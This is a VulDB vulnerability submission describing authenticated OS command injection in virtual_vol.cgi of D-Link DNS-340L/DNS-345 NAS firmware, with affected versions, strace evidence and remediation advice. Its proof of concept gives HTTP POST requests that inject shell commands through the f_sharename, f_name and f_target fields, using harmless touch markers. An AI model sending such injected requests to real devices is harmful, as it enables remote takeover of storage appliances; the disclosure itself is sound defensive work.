Отправить #894190: D-Link DNS-340L/DNS-345 ShareCenter DNS-340L REVA 1.01B04; DNS-345 REVA 1.03B06/1.04.B02/1.05b04 HOTFIX OS Command Injection

D-Link DNS-340L/DNS-345 virtual_vol.cgi OS command injection

## 2. Vulnerability Summary

- **Internal Tracking ID:** DLINK-CMD-001
- **Vulnerability Class:** CWE-78
- **Vulnerability Type:** OS Command Injection
- **Severity:** 8.8 (High)
- **CVSS 3.1 Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- **Attack Prerequisites:** Authenticated web-management access required
- **Verification Status:** CONFIRMED
- **Verification Evidence:** runtime/QEMU marker evidence + duplicate checks in D-Link evidence package

## 3. Affected Vendor / Product

- **Vendor:** D-Link
- **Product:** DNS-340L/DNS-345 ShareCenter
- **Affected Version / Firmware:** DNS-340L REVA 1.01B04; DNS-345 REVA 1.03B06/1.04.B02/1.05b04 HOTFIX
- **Affected Component:** cgi/disk_mgr/virtual_vol.cgi; /cgi-bin/virtual_vol.cgi
- **Architecture:** ARM EABI5 little-endian

## 4. Description

The `virtual_vol.cgi` CGI handler builds shell command strings with HTTP POST parameters and executes them through `system()`. The affected Virtual Volume commands include share-name checking, target creation, target deletion, target connection, and target formatting. Parameters such as `f_sharename`, `f_target`, and `f_name` are inserted directly into `vvctl` command lines without shell metacharacter neutralization.

The vulnerable command templates observed at runtime include:

```text
vvctl --check_share_name -s <f_sharename> -o /var/www/xml/vv_search.xml > /dev/null
vvctl --add -n <f_target> -l <f_lun> -i <f_ip> -p <f_port> -s <f_name> -c <f_auth> > /dev/null
vvctl --del -n <f_target> > /dev/null
vvctl --connect -n <f_target> > /dev/null &
vvctl --format -n <f_target> -l <f_lun> > /dev/null &
```

Because these commands are executed by `/bin/sh -c`, an authenticated web attacker can inject shell metacharacters and execute arbitrary commands as the CGI process user on the NAS.

Runtime marker results:

| Test | Controlled marker | Shell/vvctl trace |
| ------------------------------ | ----------------- | ----------------- |
| `share_name_f_sharename_touch` | Yes | Yes |
| `create_target_touch` | Yes | Yes |
| `create_name_touch` | Yes | Yes |
| `delete_target_touch` | Yes | Yes |
| `connect_target_touch` | Yes | Yes |
| `format_target_touch` | Yes | Yes |

Representative qemu strace evidence:

DNS-340L 1.01B04:

```text
execve("/bin/sh",{"sh","-c","vvctl --check_share_name -s firmrecshare;touch /tmp/FIRMREC_DNS340L_VIRTUAL_VOL_20260526_share_name.hit;# -o /var/www/xml/vv_search.xml > /dev/null",NULL})
```

```text
execve("/bin/sh",{"sh","-c","vvctl --add -n iqn.2026-05.firmrec:disk -l 0 -i 127.0.0.1 -p 3260 -s firmrecshare;touch /tmp/FIRMREC_DNS340L_VIRTUAL_VOL_20260526_create_name.hit;# -c 0 > /dev/null",NULL})
```

```text
execve("/bin/sh",{"sh","-c","vvctl --del -n iqn.2026-05.firmrec:disk;touch /tmp/FIRMREC_DNS340L_VIRTUAL_VOL_20260526_delete_target.hit;# > /dev/null",NULL})
```

DNS-345 1.04.B02:

```text
execve("/bin/sh",{"sh","-c","vvctl --check_share_name -s firmrecshare;touch /tmp/FIRMREC_DNS345_104B02_VIRTUAL_VOL_20260526_share_name.hit;# -o /var/www/xml/vv_search.xml > /dev/null",NULL})
```

```text
execve("/bin/sh",{"sh","-c","vvctl --add -n iqn.2026-05.firmrec:disk -l 0 -i 127.0.0.1 -p 3260 -s firmrecshare;touch /tmp/FIRMREC_DNS345_104B02_VIRTUAL_VOL_20260526_create_name.hit;# -c 0 > /dev/null",NULL})
```

## 6. Proof of Concept / Reproduction

Low-impact marker examples:

```http
POST /cgi-bin/virtual_vol.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

cmd=cgi_VirtalVol_ShareName_Exist&f_sharename=firmrecshare;touch /tmp/DLINK_CMD_001_share_name.hit;#
```

```http
POST /cgi-bin/virtual_vol.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

cmd=cgi_VirtalVol_Create&f_ip=127.0.0.1&f_port=3260&f_target=iqn.2026-05.firmrec:disk&f_auth=0&f_user=firmrec&f_pwd=abcdefghijkl&f_lun=0&f_name=firmrecshare;touch /tmp/DLINK_CMD_001_create_name.hit;#
```

```http
POST /cgi-bin/virtual_vol.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

cmd=cgi_VirtalVol_Target_Del&f_target=iqn.2026-05.firmrec:disk;touch /tmp/DLINK_CMD_001_delete_target.hit;#&f_lun=0
```

## 7. Security Impact

Successful exploitation allows arbitrary command execution on the NAS appliance. This can modify files, add persistence, access stored data, pivot into the internal network, or disrupt storage services. The Virtual Volume page is part of the authenticated management interface, so this draft scores the issue as authenticated remote code execution.

DNS-340L REVA 1.04b01, 1.05b05, 1.06b02, 1.07B02, PATCH 1.05.B04, PATCH 1.07B01, and 1.08B01 were tested as negative controls. Those builds invoke `vvctl` through an argv-style `safe_system` / `execvp` path and did not produce shell execution or command markers with the same payloads, so they are not included as confirmed affected in this draft.

## 8. Remediation Recommendation

1. Replace `system()` with `execve()` or equivalent APIs that pass arguments without invoking a shell.
2. Validate `f_sharename`, `f_target`, `f_name`, `f_ip`, `f_port`, `f_user`, and `f_pwd` using strict allowlists.
3. Reject shell metacharacters and unexpected whitespace in all command parameters.
4. Enforce authentication and authorization checks before Virtual Volume management actions.

## 9. Discovery / Verification

- **Discovery Method:** FirmRec + focused runtime verification + public duplicate checks
- **Submission Pack Date:** 2026-07-07
- **Source Report:** `docs/vulndb_submissions/DLINK-CMD-001.md`
- **Final Curation Decision:** included as confirmed / submit-ready for VulnDB.

## 10. Disclosure Timeline

| Date | Event |
| ---- | ---------------------------------- |
| TBD | Vendor notification / coordination |
| TBD | CVE/VulnDB assignment |
| TBD | Public disclosure |

## 11. Source Report / Full Original Material

> The following source content is preserved for traceability. The normalized fields above are the VulnDB form fields to submit.

## Basic Information

| Field | Value |
| ------------------ | ----------------------------------- |
| VulnDB ID | Pending assignment |
| CVE ID | Pending assignment |
| CWE ID | CWE-78 |
| CVSS v3.1 Score | 8.8 |
| CVSS v3.1 Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | OS Command Injection |
| Internal ID | DLINK-CMD-001 |

## Affected Product

| Field | Value |
| --------------------------- | ------------------------------------------------------------ |
| Vendor | D-Link |
| Product | DNS-340L ShareCenter; DNS-345 ShareCenter |
| Confirmed Firmware Versions | DNS-340L REVA 1.01B04; DNS-345 REVA 1.03B06, 1.04.B02, 1.05b04 HOTFIX |
| Confirmed Firmware Images | dlink-DNS__DNS-340L_REVA_FIRMWARE_1.01B04.ZIP; dlink-DNS__DNS-345_REVA_FIRMWARE_1.03B06.ZIP; dlink-DNS__DNS-345_REVA_FIRMWARE_1.04.B02.ZIP; dlink-DNS__DNS-345_REVA_FIRMWARE_1.05b04_HOTFIX.ZIP |
| Affected Binary | cgi/disk_mgr/virtual_vol.cgi |
| Web Endpoint | /cgi-bin/virtual_vol.cgi |
| Architecture | ARM EABI5 little-endian |
| Confirmed Binary SHA1 | DNS-340L 1.01B04: a6af595140cc2b987935b448dbc80bae16a385db; DNS-345 1.03B06/1.04.B02/1.05b04 HOTFIX: e363537367bc606fa6a460bbc17e7fcefca3af10 |

• Источник: ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/DLINK-CMD-001-vulndb.md
• Пользователь: ST4R0001 (UID 99565)
• Представление: 17.07.2026 18:28 (1 месяц назад)
• Модерация: 30.08.2026 19:35 (1 month later)
• Статус: принято
• Запись VulDB: 397176 [D-Link DNS-340L/DNS-345 1.01B04/1.03B06/1.04.B02/1.05b04 Virtual Volume /cgi-bin/virtual_vol.cgi f_sharename/f_target/f_name эскалация привилегий]
• Баллы: 20